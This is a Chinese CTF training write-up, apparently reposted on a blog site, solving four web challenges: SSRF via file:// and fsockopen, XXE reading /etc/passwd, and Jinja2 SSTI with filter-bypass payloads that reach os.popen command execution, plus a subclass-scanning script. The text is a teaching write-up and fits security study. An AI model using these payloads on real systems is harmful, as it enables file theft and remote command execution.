NSSCTF中24网安培训day2中web题目【下】

[NISACTF 2022]easyssrf

这道题目考察的是php伪协议的知识点

首先利用file协议进行flag查找

file:///flag.php                              

 接着我们用file协议继续查找fl4g

file:///fl4g 

接着我们访问此文件，得到php代码如下

这里存在着stristr的函数，以及file_get_contents的函数，我们查找用法

 

最后我们试着用file协议目录遍历的方式读取flag

/ha1x1ux1u.php?file=../../../flag          //../表示跳转到上一级目录，多写../也没有影响，但是少写的话就不能跳转到flag目录

 [HNCTF 2022 WEEK2]ez_ssrf

这道题目考察的知识点是ssrf以及fsockopen函数对ssrf的影响

首先根据题目提示，进入/index.php文件中

代码的作用是通过将传递的参数$data进行base64解码后，将数据发送到指定的主机$host和端口$port，并读取响应数据。这里并没有做任何的过滤。

fsockopen() 函数建立与指定主机和端口的 socket 连接。然后，它将传入的 base64 编码的数据解码，并将数据写入到连接的 socket 中。

fsockopen函数可以被滥用来触发SSRF攻击，这是因为该函数允许从远程服务器上读取数据并与远程服务器建立连接。攻击者可以使用fsockopen函数来发送恶意请求，例如将远程服务器地址设置为攻击者控制的恶意服务器，然后尝试读取该服务器上的敏感数据或执行任意命令。

然后利用poc构建脚本

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

上面的host和port都是盲猜出来的，data后面就是一个http的请求伪造 

构造payload如下：

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo= 

[NCTF 2019]Fake XML cookbook 

这道题目考察的知识点是XML注入

这里放上XML学习的链接浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户

首先我们先进行抓包分析，提示我们提交方式为POST，地址为doLogin.php

那么直接构建我们的恶意的外部实体，实现攻击，先尝试获取/etc/passwd下的文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>123456</password></user>

 获取成功，我们再获取flag信息

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<user><username>&admin;</username><password>123456</password></user>

[NCTF 2018]flask真香

这道题目考察的知识点是SSTI模板注入

打开题目，发现没有什么提示，猜想是ssti注入，尝试找到ssti注入点并找到模板

我们先尝试用{7*7}进行注入，看看有什么反应

 出现错误界面，接着往下走，输入{{7*7}},发现成功回显7*7的结果

接着继续输入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板，如果回显是49就说明是Twig模板

​

页面回显7777777，证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令

读取 /etc/passwd：http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
执行命令（假设找到 os.system 子类）：http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}

下面是常用类与语法： 

__class__：表示实例对象所属的类。

__base__：类型对象的直接基类。

__bases__：类型对象的全部基类（以元组形式返回），通常实例对象没有此属性。

__mro__：一个由类组成的元组，在方法解析期间用于查找基类。

__subclasses__()：返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表，并按定义顺序排序。

__init__：初始化类的构造函数，返回类型为function的方法。

__globals__：通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__：包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

因此我们尝试用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} 读取子类

​

出现了页面错误，说明存在过滤，用fuzz字典爆破过滤内容,发现过滤内容有很多，不是很清楚怎么进一步确定具体的过滤字符，参考别人的wp得知过滤内容如下： 

class            subclasses                      config                                  args
request            open                          eval                                   import

绕过方式： 

1. 基于字符串连接运算符
不同的模板引擎可能支持不同的字符串连接运算符：

 Jinja2 (Python): 可以使用 + 运算符

Twig (PHP): 可以使用 ~ 运算符

ERB (Ruby): 可以使用 + 运算符

jinjia2（py）：
{{ 'c' + 'at /etc/passwd' }}

Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }} 

ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>

2. 使用内置函数和方法
许多模板引擎提供了处理字符串的内置函数或方法，可以用来拼接字符串：

jinjia2（py）：
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}

Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}

ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3. 十六进制或 Unicode 编码
如果某些字符被直接过滤，可以尝试使用十六进制或 Unicode 编码绕过：

jinjia2（py）：
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}

Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}

ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

这题是有过滤构造payload，首先尝试字符串拼接的方式，因为这题的模版是jinjia2，所以连接符是“+”，构造payload：

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}} 

 

构造payload的基本步骤：
1.获取所有子类（jinjia2）

{{ [].__class__.__base__.__subclasses__() }}

2.查找文件操作类
通过索引访问子类，找到文件操作类：

{{ [].__class__.__base__.__subclasses__()[index] }} 

3.读取文件内容

一旦确定文件操作类的位置，可以读取文件内容：

 {{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}

4.接下来通常使用查找eval函数或者是os模块来执行我们需要的命令

eval函数与os模块的作用：

eval 函数：

可以直接执行传入的字符串作为代码。因此，找到 eval 函数意味着可以执行任意代码，这通常是最直接和强大的攻击方式。

os模块：

os 模块提供了执行系统命令、文件操作等功能，利用 os 模块可以执行系统命令、读取或写入文件。

 可以用这个脚本找到eval函数的位置，但这题找不到eval

import requestsurl = input("请输入 URL：")found = Falsefor i in range(500):try:# 构造 payloadpayload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"data = {"name": payload}# 发送 POST 请求response = requests.post(url, data=data)# 检查响应状态码if response.status_code == 200:print(f"Response for index {i}: {response.text}")# 检查响应内容是否包含 "eval"if "eval" in response.text:print(f"Found eval at index: {i}")found = Truebreak  # 找到后退出循环except Exception as e:print(f"Error at index {i}: {e}")if not found:print("Did not find eval in the first 500 subclasses.")

那就换个思路，尝试找os模块 

CTRL+F查找：

我们找每个元素都有的字符 > 

先找到os.wrap_close的位置，在找>即可得知其对应的位置

 找到了它的位置236，可以构造payload验证一下

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236]}}

 验证说明正确，找到os模块后可以执行任意系统命令

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236].__init__.__globals__['pop'+'en']('ls /').read()}}}

爆出flag所在文件位置，接着用cat命令获得即可 

 {{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

得到flag 

 思路总结： 

  1.首先我们需要判断是ssti注入，并且判断是什么模板

  2.根据相应的模板进行构造payload（获取子类、获取文件操作类、获取文件内容）

  3.接来寻找eval函数和os函数相应的位置并且执行命令

  4.最后构造完整payload

 这道题还需要考虑到过滤，我们还得进行相应方法进行绕过

参考资料： [NCTF 2018]flask真香-CSDN博客

解：[NCTF 2018]flask真香--TLS_预备队任务(1)-CSDN博客

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/diannao/47133.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

React 的生命周期方法有哪些？

React 的生命周期方法有哪些？

React 16.3 之后&#xff0c;React 的生命周期方法经历了一些改变。以下是 React 类组件中常用的生命周期方法&#xff1a; 挂载阶段&#xff08;Mounting&#xff09;&#xff1a; constructor(): 构造函数&#xff0c;在组件被创建时调用&#xff0c;用于初始化 stat…
阅读更多...
Linux中的环境变量

Linux中的环境变量

一、基本概念 环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数。 如&#xff1a;我们在编写C/C代码的时候&#xff0c;在链接的时候&#xff0c;从来不知道我们的所链接的动态静态库在哪里&#xff0c;但是照样可以链接成功&#xff…
阅读更多...
Cesium能做啥，加载哪些数据源，开源免费用商用吗？这里告诉你。

Cesium能做啥，加载哪些数据源，开源免费用商用吗？这里告诉你。

很多小伙伴对Cesium是什么&#xff0c;一知半解&#xff0c;本文是基础知识的扫盲&#xff0c;为大家分享cesium是什么、能做什么、默认数据是什么&#xff0c;为什么首先要进行数据加载&#xff0c;要加载哪些数据&#xff0c;希望通过这些带你入个门&#xff0c;欢迎点赞评论…
阅读更多...
如何将下载下来excel只读模式改成可编辑

如何将下载下来excel只读模式改成可编辑

一、通过属性设置将 Excel 文件从只读模式切换为可编辑模式&#xff1a; 1、找到需要更改的 Excel 文件&#xff0c;在文件资源管理器中右击文件&#xff0c;选择“属性”。 2、在属性对话框中&#xff0c;取消选中“只读”复选框&#xff0c;点击“确定”保存更改。 3、现在…
阅读更多...
vue仿甘特图开发工程施工进度表

vue仿甘特图开发工程施工进度表

前言 本文是根据项目实际开发中一个需求开发的demo&#xff0c;仅用了elementUI&#xff0c;可当作独立组件使用&#xff0c;C V即用。 当然没考虑其他的扩展性和一些数据的校验&#xff0c;主要是提供一个处理思路&#xff0c;有需要的小伙伴可以直接复制&#xff1b;本demo的…
阅读更多...
常见的SQL MODE及其解释

常见的SQL MODE及其解释

MySQL的SQL MODE用于控制MySQL对SQL语句的执行和处理的模式&#xff0c;‌主要作用包括&#xff1a;‌ 严格模式&#xff1a;‌例如STRICT_ALL_TABLES&#xff0c;‌在严格模式下&#xff0c;‌MySQL会更加严格地对待数据的插入、‌更新和删除操作&#xff0c;‌对于不合法的数…
阅读更多...
高职院校人工智能人才培养成果导向系统构建、实施要点与评量方法

高职院校人工智能人才培养成果导向系统构建、实施要点与评量方法

一、引言 近年来&#xff0c;人工智能技术在全球范围内迅速发展&#xff0c;对各行各业产生了深远的影响。高职院校作为培养高技能人才的重要基地&#xff0c;肩负着培养人工智能领域专业人才的重任。为了适应社会对人工智能人才的需求&#xff0c;高职院校需要构建一套科学、…
阅读更多...
【node-RED 4.0.2】连接 Oracle 数据库踩坑解决，使用模组：node-red-contrib-agur-connector

【node-RED 4.0.2】连接 Oracle 数据库踩坑解决，使用模组：node-red-contrib-agur-connector

关于 Oracle Oracle 就好像一张吸满水的面巾纸&#xff0c;你稍一用力它就烂了。 PS&#xff1a;我更新了更好的模组的教程&#xff0c;这篇已经是旧款的教程&#xff0c;但是它仍旧包含了必要的配置环境变量等操作。 最新的模组教程&#xff1a;node-red-contrib-agur-connec…
阅读更多...
AI时代：探索个人潜能的新视角

AI时代：探索个人潜能的新视角

文章目录 Al时代的个人发展1 AI的高速发展意味着什么1.1 生产力大幅提升1.2 生产关系的改变1.3 产品范式1.4 产业革命1.5 Al的局限性1.5.1局限一:大模型的幻觉1.5.2 局限二&#xff1a;Token 2 个体如何应对这种改变?2.1 职场人2.2 K12家长2.3 大学生2.4 创业者 3 人工智能发展…
阅读更多...
解决vue3中el-input在form表单按下回车刷新页面

解决vue3中el-input在form表单按下回车刷新页面

问题&#xff1a;在input框中点击回车之后不是调用我写的回车事件&#xff0c;而是刷新页面 原因&#xff1a; 如果表单中只有一个input 框则按下回车会直接关闭表单 所以导致刷新页面 解决方法 &#xff1a; 再写一个input 表单 &#xff0c;并设置style"display:none&…
阅读更多...
云端财富：在iCloud中安全存储你的个人财务管理数据

云端财富：在iCloud中安全存储你的个人财务管理数据

云端财富&#xff1a;在iCloud中安全存储你的个人财务管理数据 在数字时代&#xff0c;个人财务管理变得越来越重要。iCloud作为苹果公司提供的云服务&#xff0c;不仅可以存储照片和文档&#xff0c;还可以安全地存储和管理你的个人财务管理数据。本文将详细解释如何在iCloud…
阅读更多...
SimMIM：一个类BERT的计算机视觉的预训练框架

SimMIM：一个类BERT的计算机视觉的预训练框架

1、前言 呃…好久没有写博客了&#xff0c;主要是最近时间比较少。今天来做一期视频博客的内容。本文主要讲SimMIM&#xff0c;它是一个将计算机视觉&#xff08;图像&#xff09;进行自监督训练的框架。 原论文&#xff1a;SimMIM&#xff1a;用于掩码图像建模的简单框架 (a…
阅读更多...
解决虚拟机与主机ping不通，解决主机没有vmware网络

解决虚拟机与主机ping不通，解决主机没有vmware网络

由于注册表文件缺失导致&#xff0c;使用这个工具 下载cclean 白嫖就行 https://www.ccleaner.com/ 是 点击修复就可以了
阅读更多...
关于电路设计中，按键与电阻的问题

关于电路设计中，按键与电阻的问题

一 、在电路图中常看到有些按键外加了电阻而有些没有外加电阻&#xff0c;有上拉有下拉&#xff0c;这些电阻起什么作用&#xff0c;如果不加会导致什么情况&#xff1f; 在电路图中&#xff0c;按键通常需要加电阻来确保稳定的工作状态和消除抖动。按键在电路中扮演着重要的输…
阅读更多...
评判卓越架构设计师的关键指标

评判卓越架构设计师的关键指标

目录 1. 技术能力 1.1 深厚的技术基础 1.2 架构设计模式 1.3 性能优化和扩展能力 2. 软技能 2.1 沟通能力 2.2 领导能力 2.3 解决问题的能力 3. 实践经验 3.1 项目经验 3.2 持续学习 3.3 失败教训 4. 对业务的理解 4.1 深入理解业务需求 4.2 与产品团队紧密合作…
阅读更多...
防火墙双机热备带宽管理综合实验

防火墙双机热备带宽管理综合实验

一、实验拓扑 二、实验要求 12&#xff0c;对现有网络进行改造升级&#xff0c;将当个防火墙组网改成双机热备的组网形式&#xff0c;做负载分担模式&#xff0c;游客区和DMZ区走FW3&#xff0c;生产区和办公区的流量走FW1 13&#xff0c;办公区上网用户限制流量不超过100M&am…
阅读更多...
技术速递｜Let’s Learn .NET Aspire – 开始您的云原生之旅！

技术速递｜Let’s Learn .NET Aspire – 开始您的云原生之旅！

作者&#xff1a;James Montemagno 排版&#xff1a;Alan Wang Let’s Learn .NET 是我们全球性的直播学习活动。在过去 3 年里&#xff0c;来自世界各地的开发人员与团队成员一起学习最新的 .NET 技术&#xff0c;并参加现场研讨会学习如何使用它&#xff01;最重要的是&#…
阅读更多...
Java IO中的 InputStreamReader 和 OutputStreamWriter

Java IO中的 InputStreamReader 和 OutputStreamWriter

Java IO 的流&#xff0c;有三个分类的维度&#xff1a; 输入流 or 输出流节点流 or 处理流字节流 or 字符流 在Java IO库中&#xff0c;InputStreamReader和OutputStreamWriter是两个非常重要的类&#xff0c;它们作为字符流和字节流之间的桥梁。 这两个类使得开发者可以方…
阅读更多...
整数或小数点后补0操作

整数或小数点后补0操作

效果展示&#xff1a; 整数情况&#xff1a; 小数情况&#xff1a; 小编这里是以微信小程序举例&#xff0c;代码通用可兼容vue等。 1.在utils文件下创建工具util.js文本 util.js页面&#xff1a; // 格式…
阅读更多...
淘宝扭蛋机小程序：旋转惊喜，开启购物新篇章！

淘宝扭蛋机小程序：旋转惊喜，开启购物新篇章！

在追求创新与惊喜的购物时代&#xff0c;淘宝再次引领潮流&#xff0c;精心打造——淘宝扭蛋机小程序&#xff0c;为您的购物之旅增添一抹不同寻常的色彩。这不仅仅是一个购物工具&#xff0c;更是一个充满趣味、互动与惊喜的宝藏盒子&#xff0c;等待您来探索与发现。 【旋转…
阅读更多...
最新文章

Copyright @ 2022~2023